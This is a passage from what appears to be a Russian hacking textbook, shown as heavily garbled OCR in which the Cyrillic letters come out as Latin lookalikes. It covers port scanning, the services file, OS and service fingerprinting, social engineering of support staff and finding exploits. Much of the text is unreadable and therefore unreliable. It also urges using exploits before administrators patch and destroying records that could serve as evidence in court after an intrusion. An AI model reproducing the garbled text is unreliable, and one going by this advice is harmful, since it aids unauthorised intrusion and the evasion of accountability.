NPEACTOHT pacCMOTPETb OCHOBLI HanaAEHHA, HCnonib3yeMble XakepoM. [1pu 3ToM
Gyaem paccyxaath TaK, Kak 3TO AelaeT BINOMILKK.

HommycTM, 4TO y Bac Ha NpHMETe €CTb CepBep WM KOMMBIOTEP, KOTOPbIH HYXHO
B3/1OMaTh WM NPOTECTHPOBATb Ha 3aIMMLUEHHOCTb OT B3iomMa. C 4ero Hy)KHO Ha-
yyHaTbh? YTO caenarth B nepBylo o4epeab?

YeTkoit nocnesoBaTeNbHOCTH neHCTBHHA HeT. B3noM — 310 TBOpYeckui npouecc,
a 3HA4YMT, M NOAXOAMTb K HEMY HaJo C 3TO# To4kH 3peHus. Her onpeaeneHHbIX
npaBui, U Henb3s BCe MOABECTH Noj OAMH wWabnoH. 3aT0 eCTh HECKONbKO peKo-
MeHalMi, KOTOpbIX MOXKHO NpUAEPAKHBATHCA.

Camoe nepBoe, ¢ yero HauuHaercs B3oM uiau Tect OC Ha ysa3BUMOCTb, —
ckaHupoBanue noprtoB. Ina uero? A mns Toro, utoGbl y3HaTh, kKakHe CHyXObl
(8 Linux 310 1eMOHBI) yCTaHOB/EHbI B cHcTeMe. Kaxablit OTKpPbITBIA NOPT — 3TO
nporpamma, yCTaHOBJIEHHas Ha cepBepe, K KOTOPOH MOXKHO MNOAKIIOYHTLCA U Bbl-
NOJIHUTbL onpefeneHHble aelicTBUA. Hanpumep, Ha 21-M nopry pabGoraet cayxba
FTP. Ecnu Bbl cMOXeETe K Hel NOAKIIIOYHTBCSA, TO BaM CTaAHET ROCTYIHOH BO3MOX-
HOCTb CKauyMBaHHWA W 3arpy3ku ¢aiinor. Ho s3to Tonbko, ecnu Bol Gysere obnagartb
COOTBETCTBYIOLIMMH NpaBamH,

CHauana cnenyer npockaHupoBath nepsbie 1024 nopra. Cpea HHX OY€Hb MHOTO
cTaHaapTHbiX cnyx6 tuna FTP, HTTP, Telnet u 1. a. OTkpbITbIli nOPT — 3TO
JABEpPb C 3aMOYKOM JUTa BXoda Ha cepBep. Hem Gosbiue Takux asepeii, Tem Gonblue
BEPOATHOCTD, YTO K2KOH-TO 3aCOB HE BbIAEPIKUT HATHCKA U OTKPOETCA, NO3TOMY Ha
cepBepe AOMKHO ObITb 3aITyLEeHO TONbKO TO, YTO HEOBXOANMO.

51 oueHb 4acTO roBopKO B CBOMX paloTax O TOM, YTO Bbl AOJXKHbI YCTAHAB/IMBATD
Ha cepBep TONbKO Te NporpaMMbi, KOTopble peaibHO OyayT Mcnonb3osarbea. Bee
OCTaNbLHOE Ny4llle He 3amyckaTh, 3anpewarth, a JyJile Booblte He YCTaHABIWBATb,
yTOOBI XaKep He CMOT CaMOCTOATEIbHO MX 3aIMyCTHTL U HCNOJIb30BATb.
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Y Xopoluiero axMHHMCTpPaTOpa OTKPbITbI TONLKO CaMble HEOOXOAHUMbIE MOPTHI, Ha-
npumep, ecan 310 Web-cepeep, He npeaocTaBasioWHi KOCTYN K 31€KTPOHHOM
NoYTe, TO HET CMbIC/IA AepkaTb noyToBble CyxObl. JlomkeH ObITh OTKPBIT TONBKO
80-# noprt, Ha kOTOpOM Kak pa3 H paGoraer Web-cepeep. Bece ocranbHbie noprbi
JONXKHb] OBITh HE NPOCTO 3aKPbIThl CETEBbIM 3KPAHOM, a Jiy4llle, eC/IH COOTBETCT-
Byrowe cnyx6ol coscemM He Oyayr ycraHoBheHbl. PacnpocTpaHeHHas ownOka
aZAMUHUCTPATOPOB; YCTAHOBJIKO Ha BCAKKIN clyuaii Bce, npocTo He Oyay 3amycKaTtb
HJIM NPUKPOIO CETEBBIM IKPaHOM. 3TO o4YeHb cepbe3Has ownbka. Ecnu Xxakep npo-
HUKHET Ha Ballly CHUCTEMY, TO OH 3alTyCTHT OCTaHOBJIEHHYIO CNyKOy MW npuoT-
KpOET CeTeBOM 3KpaH, YTOObI BOCTIONb30BATLCA YIKE 3aNyILEHHOM.

CrapaiiTecb CBECTH KOJHYECTBO YCTaHaBIWBAEMOrO nporpaMMHoro obecnedeHus
K MHHUMYMY. [lake Ge3o0uaHas nporpaMMa KalbKyJSTOpa MOXET OKa3aTbCH MC-
ToyHukoM B3noma. He eepute? JlomycTuM, YTo KanbKyAsTOp Yy Bac 3arycKaeTcs
C MpaBaMH agMUHHCTpaTOpa, Jaxe A8 NPOCTOro nojb3oBarens. Tenepb, ecnu
B KanbkyJasTope Oyaer HaigeHa ys3BHMOCTb THNa nepenoiHeHus Oydepa, xakep
CMOXET UCMOJb30BaTh 3TY YA3BUMOCTb H NONYUYHTb NpaBa aIMHUHHUCTPATOPA.

Ha, BepOATHOCTb TOro, YTO Yy BaC KaNbKynaTOp paboTaeT OT UMEHH CHCTeMHOH
YYEeTHOH 3anMCH — MHHMMAaNbHA, a TOYHEE HYJeBas, HO A NpPHBEAy elle napy
JIOBO/10B:

O xakep, NPOHUKHYB B CHCTEMY, 4TOObI 3aMackHpOBaThb cBOe npebbiBaHHE B HEW,
MOJKET CaM YCTAHOBMTb 3allyCK NpOrpamMMbl OT HMEHH CHCTEMHOH YYeTHOM
3aMHCH H UCNOJILb30BATh €€ [UTA NOBBILIEHHA CBOUX NPHUBUIETHM;

00 HanHuyMe HEKOTOpbIX NpOrpaMM MOXET ynpocTUTh B3noM. Hanpumep, ecnu
B cHcTeMe ycTaHoBleH FTP-KkHeHT, To ¢ ero noMolibio Xakep MOXET 3aKa4yarb
Ha cepeep HeOOXOAMMYIO 18 B3noMa nporpammy. Mium ecnu B cucteMe ycra-
HOBJIeH komnunsTop unu uHtepnperatop Perl/PHP, To xakep moxeTt co3aarb
MK 3anyCTUTb 3/IOBpeAHbIN kO& Ha ceprepe. [la, HEKOTOpPbIE NPOrpamMMmbl s
HCNONb30BaHHA yA3BMMocCTell nuwytca Ha Perl, noatomy B nocnienHee Bpems
aAMHHHCTPATOPbI CTApalOTCA OTKa3biBaThCA OT HMCMNOJIb30BAHHMA ITOrO HHTEP-
npeTaTopa H He YCTaHaBAMBaTh ero Ha pabounii cepeep.

[Tonyuaercs, YTO YeM MeHblIE NporpaMm YCTAHOBJEHO Ha cepBepe, TeM MeHblue
naszeek y Xakepa NpOHHUKHYThH B CHCTEMY M NOJIyYHTh NpaBa aAMHHUCTpaTOpa.

XOpollHil ckaHep NMOPTOB onpenesiseT He TOMbKO HOMep OTKPLITOro nopra, HO
U 110Ka3bIBaeT Ha3zBaHue paboTalolleit Ha HeM ciTyxObi (Kanb, YTO He HacTosllce,
Il TOJILKO UM BO3MOXCHOTO cepsepa). Tak, ana 80-ro nopra Oyaert nnokazauo "http".

ticnu ckaHep He noka3sbiBaeT HMeH ciiyx6, To B OC Windows ux MoXi10 HOCMOTPCTh
n (paiyiax protocol ¢ services U3 karanora CAWINDOWS\system32\drivers\ete.
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[Tpocro orkpoitte x B baokHoTe unu nobo#t Apyroi nporpamMe nNpocMoTpa Tek-
CTOBBIX (palinos. B pe3ynbrare Bbl yBHANTE:

echo 7/tep

echo 7 /udp

discard 9/tecp sink null

discard 9 /udp sink null

systat l1l/tcp users #Active users
systat 1l1/tep users #Active usexs
daytime 13/top

daytime 13/udp

qotd 17/tcp quote #Quote of the day
gotd 17 /udp quote #Quote of the day

daiin uMeeT CleayoLyO CTPYKTYpY:

<cnyx6a> <HOMEp NOpTa>/<upoTOKO> [MCEBAOHHMBL..] [#<KoMMeHTapHit>]

Ho He 3a0biBaiiTe, UTO 3TO TOJLKO ONKCaHHWe CTaHaAapTa, KOTOpbIH NErko HapylIHTD.
Anmunuctparop 6ez npobnem mosker 3amycTuth Web-cepeep He Ha 80-m nopry, -
a Ha 21-M, ¥ ckaHep NOPTOB HanMuET Ham, 4uTo 310 FTP-ceprep.

OcraHoBHTECh M MOCMOTPHTE ceilyac ¢aiin services. 3mech onucaHel HauGonee
pacnpocTpaHeHHble Ha JaHHbI MOMEHT CTy)kObl M NOPThI, H2 KOTOPBIX OHH pabo-
TatoT. Ecnu BBI elne He 3HaKOMbl C ITUMH HOMEpaMH, TO ClieAyeT XoTa Gbl 4TO-TO
U3 3TOr0 OCTaBHTh B NMaMATH, 4TOObI 3HAaTh NOTOM, YTO UCKAThb Ha aTakyeMoil cuc-
Teme. 51 pexomeHay1o oOpaTUTb BHUMaHHe U 3arOMHUTb, YTO Ha noprax 1433 u
1434 nportokonos TCP u UDP paGotaetr Microsoft SQL Server u Microsoft SQL
Monitor. Ha nopry 1512 pabGorator WINS (Microsoft Windows Internet Name
Service, cnyxba umeH HnrepHera ana cereii Windows), koTopas aaneko He 6e3
usbaHa. 51 Bech alin npuBoauTs He Gyay, noTomy uTO OH GONbLIOH, a Bbl K Ge3
MeHs cMoxeTe B 11060 MOMEHT ero NoCMOTPETD.

Ho cyulecTBYIOT nporpamMmbl, KOTOpbl€ HE JOBEPAIOT CTAHAAPTY M NpPOBEPAIOT No-
TYYEeHHYI0 HHpOpMaUKIo caMocToaTenbHO. K Takum nporpamMmam OTHOCHTCH Cka-
Hep GezonacHoctH XSpider (Wwww.ptsecurity.ru), KoTopblii N0 NOAy4aeMbIM OT-
BETaM MbITAETCA ONpeaeNHThb, AeHCTBHTENbHO N1 Ha 80-M nopTy Haxoautcs Web-
cepBep, WK TaM yTo-TO Apyroe. Kak aro onpeaenuts? [la ouensb nierko:

J no cTpoke NPUBETCTBHA, KOTOpas BO3BpalllaeTCs NpPH NOAKIIOYEHHH K NOPTY.
Bonburas yacth ciyx6 npH NOAKNIOYEHHH BO3BpAILAIOT cOOGUEHHE, KOTOpOe
COAEPXMHT ee Ha3BaHHe W BepcHio. [lodke Mbi elle 6yAeM roBOPHTE O TOM, HTO
9TO coolueHHe MOXeT ObITh NOARENAHO;

(3 cnyx6bl B OTBET Ha NOAKIIIOYECHHSA NPUCHINAIOT pa3Hble nakeTbl. B nporpamme
XSpider aocratouHo Xopotiuas 6a3a AaHHBIX NOBEAEHHA Pa3IHYHBIX CyXkO.
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Ha, ckanupoBaHue noptoB B XSpider npoHcXOaUT aoCTaTOYHO HONrO, 3aTO 3¢~
(pEeKTHBHO.

XenarenbHo, 4Tobbl CkaHep yMen COXpaHATb pe3ynbTaT CBOeH paboTbl B KakoM-
HUGyab (aiine U aaxe pacneyarbiBath. ECiii 3TOH BO3MOXKHOCTH HET, TO TIPHAETCA
nepenucarb Bce BPYYHYIO H NONOXWUTb Ha BHAHOe MecTo. B nanbHelileM Bam
NIPUrOANTCH KaXKJas CTPOUKaA ITHX 3arnuce.

[Tocne aToro mMoXHO HauMHath CkaHWpoOBaTb noOpThl cBbiite 1024, 3aech cran-
JapTHble CiyKObl BCTpPEUalOTCA pelko. 3aueM ke Toraa ckaHuposaTb? A BApYT
KTO-TO JO Bac y)ke noObIBaJi Ha 3TOM MeCTe M OCTAaBHUN OTKPBITYIO ABEPKY HIIH
YCTaHOBHI Ha cepBep TPORHCKYIO nporpammy. BonbLIMHCTBO TPOSHCKMX Npo-
rpaMM JepaaT OTKPbITLIMHA NopThl cBbile 1024, nostomMy ecnu BBl aMHUHUCTpa-
TOp ¥ HalUN¥ OTKPBITBIH NOPT B 3TOM JHana3oHe, HeOOXOAMMO cpa3y HacTopo-
xutbca. Hy, a eclii Bbl B3TOMILKUK, TO HYXHO Y3HaTb UMA TPOSHCKOM nporpaMmbl
M HalTH ANA Hee KJIIMeHTCKYIO 4acTb, YTOObI BOCTIONb30BATLCA €10 A/ YNpaB/ieHHUA
YyxKOH MalLUHOM.

Cpeau cayx0, vcrnonb3yomux nopthbl Bbiite 1024, BCTpeyaloTcs M HEKOTOpbIE
kxomMMepueckue, Hanpumep, CYB]] (cucrema ynpasneHus Ga3zamu paHHbIX). Jlemo
B TOM, YTO HOMepa W3 nepBOM ThICAYM YXKe AaBHO pacnpeneneHbl, ¥ UCNONb30BaTh
KaKO#-TO M3 3TOro Auana3zoHa JOCTaTO4HO npobneMaTH4yHO, NMOITOMY COBpPEMEH-
Hble CTY)KObI IKCTITYaTHPYIOT BeChb iHana3oH HOMepoB 10 65535.

[Tepebie 1024 nopra B OC Linux obnanator elte 04HHUM OYEHb BaXKHbIM CBOHCT-
BOM: 3aiTycTHTb cyx0y, paboTaloltyio Ha TakoM MOPTY, MOXKET TONBLKO NONb30Ba-
Tenb ¢ npaBaMu anMUHUcTpaTopa (ans UNIX-cuctem 31O nonb3oearenb ¢ npaba-
Mu root). Takum o6Gpa3oM, cHcTeMa rapaHTHpYeT, 4TO cnyXObl, pabGoTalomue Ha
noptax Hwke 1024, 3amymensl agMuHUcTpaTopoM. OHM aBastoTcs HaubGonee Kpu-
THYHBIMH C TOYKH 3peHHs Oe3omacHOCTH cepBepa, MOITOMY pAAOBbIE NONb30OBATE-
MU He ROMKHbI HMETb NpaBa WX 3aITyCKaTb.

Ecnu nocne ckaHWpOBaHUA Bbl Y)Ke NONYUYHIHM MONHBIH OOCTYN K CepBepy, TO Ha
3TOM B3JIOM MOXKET 3aKOHYMTbCA. JKanb, YTO Takoe NPOUCXOAMT OUYEHb PelKo,
H Yallle BCEro Hy»HO 3aTpaTHTb HamHoro Gonblie ycunuii. Xopotuo 6b110 BO Bpe-
MeHa nosBIeHnA TposHcko# nporpaMmbl Back Orifice, koraa oanH xakep 3apaxan
KOMNbIOTEp NoNib30oBaTeNs, a Apyroil 6e3 npobiem Mor Bocnonb3oBaThCa YxkKe ro-
TOBbIM B3OMOM. B Hacrosiiuee BpeMs no HHrtepHety rynser ciuuikom Gonbuioe
KOJTMYECTBO TPOAHCKMX MpPOrpaMM, KOTOPbI€ HCMONb3YIOT pa3Hble NOPThI K HALLe
BCEro JaKe NO3BONAIOT HaCTpaWBaTh HOMEp NOpTa, Ha KOTOpPOM oHu OyayT pabo-
TATb. A eCNM CepBepHas 4acTb NpOrpaMMbl 3alLHILEHa NapofieM, TO BOCMOAb3O0-
BATLCA YY)KHUM Tpyom OyaeT npobreMarHyHoO.
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1.3.1. OnpeaeneHune TMna onepaunoHHOU CUCTEMBbI

CkaHupoBaHHe — 3TO BCEro JIMIIB HAYaNbHBbIi 3Tan, KOTOpbIA Aan BaM WHGOpMa-
LMI0 418 pasMbluieHns. Camoe riaBHoe — y3HaThb, kakad WMeHHo OC ycraHOB-
neHa Ha cepsepe. XXenaTe/lbHO UMETb CBEEHHA O BEPCHH, HO 3TO YAAETCH BblAC-
HHTb HE BCEraa, Aa U Ha NepBbIX NOpax U3yYeHHs CUCTEMbl MOXKHO oOoHTHCH Ge3
KOHKpeTH3auuu, ['naBHOe UMeTb YeTKOe npeacTaBleHHe o6 Ucnonblyemoi niart-
dopme: Windows, Linux, BSD, Mac OS uau ap. OT 3TOro 3aBHCHT OYeHb MHOTOE!

O kakue nporpaMMbl MOTyT GbITb YCTaHOBNEHbI Ha CEpBepe;

0 kakue KOMaHbl MOXKHO BbIMNOJIHATD;

O rae HaxoauTCs HHGOPMALMA O NMONL3OBATENAX U X NaponsXx,

O rae moxer GbiTh ycTaHoBneHa OC (B kakoii nanke UM B KakoM pasferne);
0 kakue CyleCTBYIOT yA3BMMOCTH 1A aaHHoi OC.

Hna onpenenedns OC u ee BepcHH MOry MNOCOBETOBaTb CKaHep Oe3onacHOCTH
Shadow Scan (www.rsh.kiev.ua). Kpome Toro, 3ta nporpaMma ymeer onpesenstsb
BEPCHH YCTAHOBJEHHbIX clyx6. D10 MOXeT BaM O4eHb CHIbHO momouyb. Jomyc- -
THM, Bbl Y3HaNM, YTO Ha KOMIMbIOTepe ycraHoBieH Web-cepeep. [loMHMO 3TOroO
M3BECTHO, YTO HCNOJb3yeTcs onepauroHHas cucrema Windows. MoxHo npeano-
NOXHTb, yTO B Kadectee Web-cepsepa BbicTynaer IS, Ho 3Ta runoresa moxer
H He noaTeepAnThea: Ans Windows ecTb peanu3auus cunbHeiiwero Web-cepsepa
Apache. MoryT 6bITb ¥ Apyrue, XOTs 3TH ABa — CaMble NOMyJsApHble. A TaK Kak
HX B3/IOM NpPOHU3BOAMTCA MO-pa3HOMY, TO B MEPBYIO Ouyepelb HAC HWHTEpECYET,
KaKOH W3 HUX yCTaHOBJIEH Ha J@HHOM KOMIbIOTEpE.

EnnHcreennbifi HeaocTatok Shadow Scan: npu onpeaenenun sepcun OC nposs-
nanach ownbka, npuBoasilas k 3aBMcaHHio. Ho B nocniesHeil Bepcud nporpaMmbl
3TOT HEAOYeT, KaxkeTcs, Obill YCTpaHeH.,

Kak onpeaenserca Tun OC? Jna 3T0ro ectb HECKOJAbKO cnocoboB.,

1. ITo peaan3zauuun npotokonaa TCP/IP. B paznnuneix OC no-pazHoMy opranu-
30BaH cTek nporokonos. Shadow Scan npocTo aHanW3MpYeT OTBETH! cepBepa Ha
3anpochi U 1aeT COOTBETCTBYIOLLEE 3aKiii04YeHHe. B OCHOBHOM 3TOT BbIBOJ pac-
nnbiByarthiii: Windows unu Linux. TouHylo BepcHIO TakUM 0Opa3oM y3HaTh He-
BO3MOXHO, notomy yto B Windows 2000/XP/2003 peanuzauus nporokona npax-
THYECKH HE MeHsNach, ¥ OTKIMKH OyayT ofMHakoBbiMH. Jlaxke ecnu nporpamMma
onpeaenuia, UTo Ha cepBepe ycTaHoBieH Linux, TO kakoH HMEHHO AUCTPHOYTHB
BAM HHUKTO He CKaXkeT, a BeAb yA3BMMOCTH B HUX pasHbie. M no3aroMy Takas
HHPOPMaLHA — ITO TONLKO YaCTb HEOOXOAUMBIX JAaHHBIX /19 B3/IOMa.

2. Tlo oTBeTam cayxk6. /lonycTHM, YTO Ha cepBepe XEPTBbI €CTb @HOHHUMHbIH
noctyn no FTP. Bam HyXHO Bcero JHiib NPUCOEAHHUTLCA K HEMY H MOCMOT-
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peTb coobuieHne npu Bxoae B cucteMy. [To yMonuaHHIO B kauecTse npuriaiie-
HUA Ucnonb3yeTcs Haanuch tuna: "JloOpo noxanoears Ha cepeep FreeBSD4.0,
Bepcha FTP-knnenra X.XXX". Ecnu Bbl Takoe yBuaenu, To eule paHo pano-
BaThCA, T. K. He W3BECTHO, MpaBaa 3TO UAM Her. Eciv Haanuch npurnaweHus
OTpaXaeT NeHCTBUTENbHOCTb, TO aAMMHHUCTpPaTOp — "yalHHK" CO CTaXKEM.
OnbITHBLIA AXMHUHUCTPATOP BCEraa M3MEHSET npHUriaileHWe, 3alaHHOE Mo
ymonuaHuto. Toraa Ha cepsepe ¢ Windows NT 4.0 nosBuTCa npurnaiueHue,
Hanpumep, Linux. B stom ciyyae 3noymbiunedHuk Ge3ycnewtHo noTparut
OYeHb MHOrO BpeMEHH B TonbiTkax B3noMatb Windows NT, nbiTasch Hcnonb-
30BaTbh ownbkH Linux. I[ToatoMy He ouyeHb noBepsiiTe HaanuUcAM U cTapaiTech
HX nepenpoBepPHTDb APYTUMH cnocobaMH.

3. Counanbsan umkenepusi. Ecnu Bbl XOTHTE B3TOMaTh CepBep XOCTHHrOBOM
KOMNaHUH, TO MOXHO OOpaTHTbCA C MMCbMEHHLIM 3anpocoM 00 ycTaHOBJIEH-
HbIX Y Hee cepBepax B cnyxOy noanepxxku. Kak npaBuno, takas uHbopmauus
He CKpblBaecTca, HO ObIBAalOT Cly4an OTKPOBEHHOH /kH. BoaMoxHO, yTo 3TH
cBeaeHHa OyayT nexxath Ha rnaBHoi Web-cTpaHuLue, HO aaxke MX cliefyeT npo-
BepuTh. Hanpumep, HekoTopble koMnaHud nyduyt Ha Web-calite, yTo y HuX
MCMOJNIb3YETCA TocheaHss U camaa GesonacHas Bepcus OC FreeBSD, Ho npu
NepBOM Xe OCMOTpe Oka3sbiBaeTcs, 4To Ha cepBepe cTouT Windows 2000. Boa-
MOXHO, KOMNaHWK npocTo ckpbiBaloT Bepcuio OC ans Toro, yToObi CKPLITH
MCNOJIb30BaHHE HENHLEH3HOHHOIO NPOrpaMMHOro obecneyeHus.

Y106bl Bac He oOMaHynu, obs3arenbHo obpallaifte BHHMaHHE Ha UCMOJb3yeMble Ha
cepBepe cnyxObl, Hanpumep, B Linux He OymyT paborats Web-crpaHuibi, co3gaHHble
no texHonorurd ASP. Taxue Bewrn nopaenbiBalOT peako, XOTH 3TO U BO3MOXKHO —
JOCTATOYHO HMCMONB30BaTh pacluupeHue .asp s XpaHeHns PHP-cuenapues u nepe-
HanpaenaTh uX HHTepnperatopy PHP. Takim o0Opasom, Xakep yBUAWT, UTO Ha cepBepe
pabotatot ¢aiinbl ASP, Ho peanbHo 310 GyayT PHP-cueHapuu. Xots, s cabiman, yro
€CcTb BO3MOXHOCTD 3anmyckatb ASP-cueHapuy Ha Linux.

1.3.2. OnpepenexHue uMmeH padoTtarowmx cnyxo

Onpeaenernne THna OC — 310 TONbLKO HauanbHeil 3Tan. Ilocne atoro HeoOxoau-
MO NepPeXOAHTb K ONnpeAeNeHHIO UMeH ciyxb, koTopbie paboTaloT Ha cepeepe. Ec-
nH otkpuiT 80-i1 nopt, To Heo6xoauMoO y3HaTh, kakoi yctaHoeieH Web-cepsep:
Apache unu IIS. Ot ucnonb3yemMoii ciyx6bbt M ee BepcHH 3aBMCHT, Kak €€ Hano
B3NaMbIiBaTh. Hanpumep, HekoTopbie BepcHU onpeneneHHbiX cayx® moryr cosep-
KaTb OJHY OWHOKY, a APYrHe BepcHH ApYryto ownbky. A ObIRaloT Aaxke Clyyaw,
Koraa ownbok Boodlle HeT. XOTH HET, TakUX cayyaes He ObiBaeT. Ownbxy Beeria
CCTb, NPOCTO HUX €lille HUKTO He HALleNl ¥ HYXHO NOUCKATb, UK NOJIOXKAATh, KOI/ia

HalayT apyrue.
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Hnoraa xakepol onpenenator Bepcuio OC UK yCTaHOBJEHHBIX iy no Hanu-
yuto ownbok. Hanpumep, ecnu Web-cepsep 1IS Bepcun 5.0 coaepxkan onpene-
AEeHHYIO OIKOKY Npy NoJiy4eHu: cnuwkoM 6onbLIOro makera, TO MOXKHO MOMbI-
TaTbCA OTNPABHTH TAKOM MaKeT, U €CNIK B OTBET Mbl NOJYYHM oLIMOKY, TO nepes
HamMH UMeHHo IS 5.0. Bpoae Gbl Bce xopollo 1 METOA onpeneneHns AOCTATOYHO
TOYHbIi, HO He coBceM. Jleno B TOM, YTO HaNHYHe OLIMOKKH MOXET 3aBHCETb U OT
koHpurypauud OC unu camoil cnyxbbl. H3ecTHan Bam owmbka MOXer npose-
NATHCA TONLKO NPH OnpeJe/ieHHbIX YCAOBHAX, U eciii oltnbka He nposBUnach, To,
BO3MOXHO, He coOmoieHbl HeoOXoaUMble YCTOBHA (M. pa3zo. 1.3.4).

[Nonyuaercs, yTo 3aaya 3aLMLLAIOLIEHCH CTOPOHbBI — KakK MOXHO CHJIbHee 3aly-
TaTb CHTyauMIO U CKpbiTb HasBaHHe OC u cny06, paGoTalolmiMX Ha KOMNbIOTEpE.
BONbIUMHCTBO HEOMBITHBIX XaKEPOB BEPAT MEPBBIM BMEYATIEHUAM H MNOTPaTAT
OYeHb MHOro BpeMeHH Ha Oecnonie3Hble MONbITKY NPOHHKHOBeHUs. Takum obpa-
30M, Bbl C/IENAETE B3/IOM CIIHIIKOM JOPOrHUM 3aHATHEM.

Ha, npatate HyxHO He ToNbko HazeaHHe OC, HO U HasBanusa cnyx6. Hanpumep,
ecnn noaaenatb Apache noa IIS, To xakep Gyaer nbiTaTbea B3nomarb He ToT Web-
cepeep, HCNONb3Yys He T€ NPOrpaMMBbl, YTO YCIOKHHUT €ro 3anady.

3ajaya xakepa — pacHyTaTb LIENOYKH M YETKO ONpeAeNHTb, YTO XK€ OH B3/IaMbIBaET.
be3 aToro npon3BOAWTL B JanbHeilleM kakue-nub6o aeicTeus Gyaer caoxHo, no-
TOMY UTO OH faxe He OyaeT 3HaTbh, Kakhe KOMaH[ibl eMY JOCTYNHbI NOC/IE BTOPKE-
HHA Ha YY>KylIO TEpPUTOpHIO, e MCKaThb CHCTeMHble (alinbl U naponu, a Takxe
KakHe UcnonHaemble (aisibl MOXKHO 3arpy»aTtb Ha cepBep.

1.3.3. Acnonb3oBaHue 3KCNJIOUTOB

Hrak, Tenepb Bbl B Kypce, kakas Ha cepBepe ycraHosneHa OC, kakue noprtbl OT-
KpbITbl, U KakKe UMEHHO cnyXxO0bl paboTaloT Ha 3TUX noprax. Bcio nobbiTyio MH-
hopMauMio HYXHO 3anucath B yR0OHOM 118 BOCIPUATHA BUE: B (paiiiie WK XOTs
Obl Ha Gymare. ['naBHoe, yToGbl ObITO KOMpOPTHO paboTats.

He neunrech 3anucbiBaTh Bce CO6paHHble JAaHHbIE. HOMHHTC, YTO Aa’Ke KOMIbIO-
TEpbl HHOTAQ CGOHT, a 4yeJIOBEeYEeCKHH MO3r aenaeT 3To PErynsapHo. Camoe HHTE-
PECHOE, YTO Yalle BCEIo 3abniBaerca Hanbonee HeobXxoaumoe. Hy, a Nnocjie B3JioMa
HE 3a6y,ub're YHHUTOXHTb BCE 3aMHCH, KOTOPbLIE MOTyT NOCHYXKHTb AOKA3aTEAbCT-
BOM COACAHHOIO B CYACE.

Bce noHanu? Toraa Ha 3TOM MOXKHO OCT@HOBHTBCA. Y Bac €CTb JOCTATOYHO MH(Op-
MallHK U npocTeiillero B3noMa ¢ noMotsto ownbok B OC u cayxbaxX, yCTaHOB-
neHHbIX Ha cepsepe. [lpocto nocelnaiite peryaspHo www.securityfocus.com,
a pocCHHCKOMY TNMOJIb30BaTEN0 MOry nocoBetoBate Web-caiT www.securitylab.ru
(puc. 1.1). UMeHHO 3aech HYXHO HCKaTb WH(OPMALMIO O HOBbIX YA3BHMOCTAX.
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Yike JaBHO M3BECTHO, 4TO Ha Oonbliei yacT cepBepoB (MO pa3sHBIM MCTOMHHKAM
ot 70% no 90%) ownbkK He yCTpaHAIOTCA, WIH YCTPaHAIOTCA, HO C OO/BIINMH
3anepkkaMu (06biyHO nocne Batoma). [losToMy nposepsiite Bce HaliaeHHbie
olHOKH Ha XKepTBE, BOSMOXKHO, YTO-TO U cpaboTaer.

Puc. 1.1. Web-cait www.securitylab.ru

[Mocne nossnenus HOBO# yassumocTH Ha Web-caiite www.securitylab.ru TyT xe
noa 3Toi HOBOCThIO pasropaerca 6ypHoe oOcykaeHHe Toro, Kak ee UCMOJb30BATh
W TAe B3ATb HEOOXOAMMBIH 3KCTIIOWT (nporpaMma, NO3BONAIOLIAs HCMOJNL30BATh
YA3BUMOCTb, HHOI1a €€ Ha3blBalOT CIUIONT). C npakTHyeckoii ToukH 3peHus, Web-
caiiT xopouinii U HyxHsil. Korna a ucnons3oban Ha ceoem Web-caiite pacnpo-
crpaHeHHblie Gopymbl TUna phpBB, To 6naroaaps www.securitylab.ru oneparusto
y3HaBal 06 yA3BUMOCTAX M Hallle BCEro YCHeBasl YCTPAHATh HaHaeHHbIe OLIMOKH.

C npyroii cTopoHsi, Ha GOpyMe rysser oueHb MHOTO CKPUNTKUAAH (TIOAH, KOTO-
phle UCNOABL3YIOT ANA B3IIOMA YY>KHE MPOrpaMMel, Hallle BCEro 310 Monoabie pebara,
KOTOPhIC TONLKO XOTAT CTaTh XakepaMH), OT KOTOPbIX YACTO CALILIATCA BbICKA3LI-
naiug Tuna: "HayuuTe MEHR MCTIONB3OBATH 3TY YAIBUMOCTL". A BEjlb CCIM HIYMAT,
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TO OH no#eT kpywuTb Bce Web-caiiTbl noapax — Hano xe rae-ro nonpoboathb
nosy4eHHble 3HaHHA. FiMeHHO Takue noau npeacTaBAsioT HaubGONbLLYIO OTIaCHOCTb.

Ha ¢opyme no GezonacHocty www.securitylab.ru scrpeuatorca u npodeccuona-
Nbl, KOTOpble He 0c000 "rHYT naiblbl”, a MOKa3biBalOT U OOBACHAIOT, KakK 3aitH-
THTbCA. BO3MOXHO, OHM M CaMH JIOMAIOT YTO-TO, HO He MOKa3bIBalOT 3Toro. S ay-
Malo, 4TO Ha (opyMe ecTb M TNpPeICTABUTENH NpPaBOOXPAaHHTENbHBIX OpraHOB,
M eclTi NOKa OHW HHKOrO TaM He BblIaBAMBAIOT (a claefaTh 3TO0 OYeHb JIerko), TO
B 6ynyuieM MOTYT NOABUTLCA npeuefeHTbl. JINUHO 1 B OCHOBHOM HaXo0Xycb TaMm
xak HabnofaTenb (OTCNEKUBAIO TEHOEHLIMH), a €C/TH M OCTaBAAl0 coobuleHHus, TO
HE Mo CBOMM MMEHEM.

Ownbxu B nporpaMMax NposBAAIOTCA AOCTAaTOYHO YacTo, HO €CK 3allHTa Cepae-
pa, KOTOpbIii Bbl pelUHSIH B3IOMaTb, B AaHHBIA MOMEHT O/iM3Kka K COBEpLUIEHCTBY
(MuHUMYM cnyxb, U ycTaHOBNEHbl BCe nocieaHHe OOHOBAEHMUS), TO NPHAETCH
’KIATh MOABJEHHUA HOBbIX OLUMOOK M IKCMIOMTOB K YCT2HOBNEHHbIM Ha CepBepe
cnywbaMm. Kak Tonbko yBHaHTE 4yTO-HHOYAbL HHTEpECHOE, Cpa3y ckadalTe skcnjo-
UT (MM HanUILKTE CBOM) M BOCNOJb3YHTECh MM, NOKa aiMUHUCTPATOp He ycnen
3aKpbiTh YA3BUMOCTb. A XOpOLUMI aAMHHMCTPATOp 3aKpbiBaeT OWHOKH GbicTpo,
cpa3y nocijie MX NOABNEHHA, 2 €C/IK €CTh BO3MOXHOCTb, TO @BTOMAaTH3HPYET 3TOT
npouecc.

1.3.4. ABTOMaTU3aLUA

[MpakTuyecky Kaxabli AeHb cneuyanucTbl No 6e30nacHOCTH HaXOAAT B pa3HbIX
CHUCTEMaxX Heao4eThl, Ablpbl HNM naxke npobouHbl B cucTeme GesonacHocT. Bee
3TH MaTepHanbl BblKIanbiBaloTes B otyetaX BugTraq (GronnereHb Ge3onacHocTH).
51 yxe cosetoBan noceuiats Web-caiit www.securityfocus.com, ytoGei cneauTsb
